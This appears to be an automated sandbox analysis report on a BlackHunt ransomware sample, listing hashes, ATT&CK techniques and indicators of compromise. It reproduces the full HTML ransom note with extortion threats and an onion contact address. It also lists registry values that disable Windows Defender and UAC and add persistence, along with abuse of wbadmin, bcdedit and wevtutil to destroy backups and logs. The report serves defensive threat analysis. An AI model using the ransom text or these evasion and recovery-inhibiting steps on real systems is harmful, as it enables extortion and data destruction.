c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:46

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General

Target

c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Size

707KB
MD5

aa7af2b037de6ea80714e07511f78daf
SHA1

5610242af06096669a3495712eb42247f1f18c7c
SHA256

c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644
SHA512

b601e943a9c798bc30491f6f1dbb5da7a0d10a69de6ac2022fadf8df8d9b456642b550c479aeaf24fd30cfa76d95bd9e269cdaca330ea3012685e4128bd3f9e9
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8tvnh:6uaTmkZJ+naie5OTamgEoKxLWwZh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> xxyQKAVttUCHYyIU </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4036	fsutil.exe
1360	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3828	wevtutil.exe
4008	wevtutil.exe
3472	wevtutil.exe
4072	wevtutil.exe
960	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1804	bcdedit.exe
2132	bcdedit.exe
1864	bcdedit.exe
984	bcdedit.exe

Renames multiple (2881) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2496	wbadmin.exe
2772	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2284	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\V:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\N:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\T:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\G:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\K:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\L:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\M:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\W:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\R:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\X:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\B:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\Q:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\U:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\A:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\O:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\Y:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\J:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\Z:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened (read-only)	\??\I:	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\my\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.RSA	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_ja.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-common.xml	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_zh_CN.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\MST7MDT	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.nl_zh_4.4.0.v20140623020002.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files (x86)\Google\CrashReports\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jvm.hprof.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
